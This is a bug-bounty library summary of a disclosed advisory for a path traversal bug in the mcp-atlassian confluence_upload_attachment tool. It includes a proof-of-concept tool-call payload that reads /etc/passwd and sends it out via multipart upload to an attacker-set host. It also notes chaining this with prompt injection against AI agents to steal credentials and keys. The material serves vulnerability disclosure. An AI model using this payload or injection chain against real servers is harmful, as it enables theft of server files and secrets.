# MCP Atlassian: Path Traversal / Arbitrary File Read in confluence_upload_attachment MCP tool (incomplete fix of GHSA-xjgw-4wvw-rgm4)

mcp-atlassian's confluence_upload_attachment tool passed attacker-controlled file_path straight to open(), letting unauthenticated MCP callers read arbitrary server files and exfiltrate them via multipart upload.

- Payout: Research
- Severity: high
- Program: mcp-atlassian
- Found by: romain-deperne
- Disclosed: 2026-09-22
- CVE: CVE-2026-77262
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-p6hp-93wp-fh6p
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-p6hp-93wp-fh6p
- Tags: area:ai domain:ai impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:python technique:chained technique:incomplete-fix technique:source-review vuln:info-disclosure vuln:path-traversal

**Target:** MCP tool confluence_upload_attachment (Python MCP server, streamable-http transport)
**Root cause:** The upload path at attachments.py:477 calls open(file_path, "rb") on an unvalidated, attacker-controlled path; the v0.17.0 fix for the write-side twin added validate_safe_path() only to the download paths (lines 223, 272), leaving the read-side unguarded.
**Steps:**
1. Start a mock Confluence stub on 127.0.0.1:8443 logging multipart bodies
2. Launch real mcp-atlassian server over stdio with `CONFLUENCE_URL=http://127.0.0.1:8443`
3. Invoke tool with `{"name":"confluence_upload_attachment","arguments":{"page_id":"123456","file_path":"/etc/passwd","comment":"poc"}}`
4. Observe `isError=False` and the stub receiving a 3339-byte multipart body containing `root:x:0:0:root:/root:/bin/bash`
5. Repeat with `/etc/hostname` to confirm arbitrary path read
**How found:** Compared the patched download paths (validate_safe_path at lines 223/272) against the upload sink at line 477 in the same module and noticed the incomplete fix: same unchecked-path-to-open() class, opposite direction.
**Exploitation:** Attacker invokes the MCP tool with any absolute path; the server opens it and streams the bytes in the multipart body of POST /wiki/rest/api/content/{page_id}/child/attachment to the attacker-configured Confluence base URL, returning a success envelope with no error surface. In default streamable-http 0.0.0.0 deployment no credentials are needed.
**Escalation:** Chains with prompt injection against an AI agent exposing the MCP server, coercing the assistant into calling the tool with sensitive paths; also enables reading cloud creds, SSH keys, kube service-account tokens.
**Insight:** When a path-traversal fix lands, audit every other open()/file sink in the same module for the symmetric direction (read vs write) — incomplete fixes routinely patch one side only; also check whether the MCP tool schema lacks a Pydantic pattern constraint.

